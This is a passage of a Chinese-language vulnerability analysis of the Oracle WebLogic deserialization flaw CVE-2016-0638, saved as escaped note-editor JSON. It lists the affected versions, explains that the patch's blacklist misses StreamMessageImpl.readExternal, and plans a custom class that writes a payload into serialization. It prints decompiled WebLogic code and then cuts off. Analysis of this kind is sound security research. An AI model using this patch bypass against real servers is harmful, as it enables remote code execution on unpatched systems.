&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 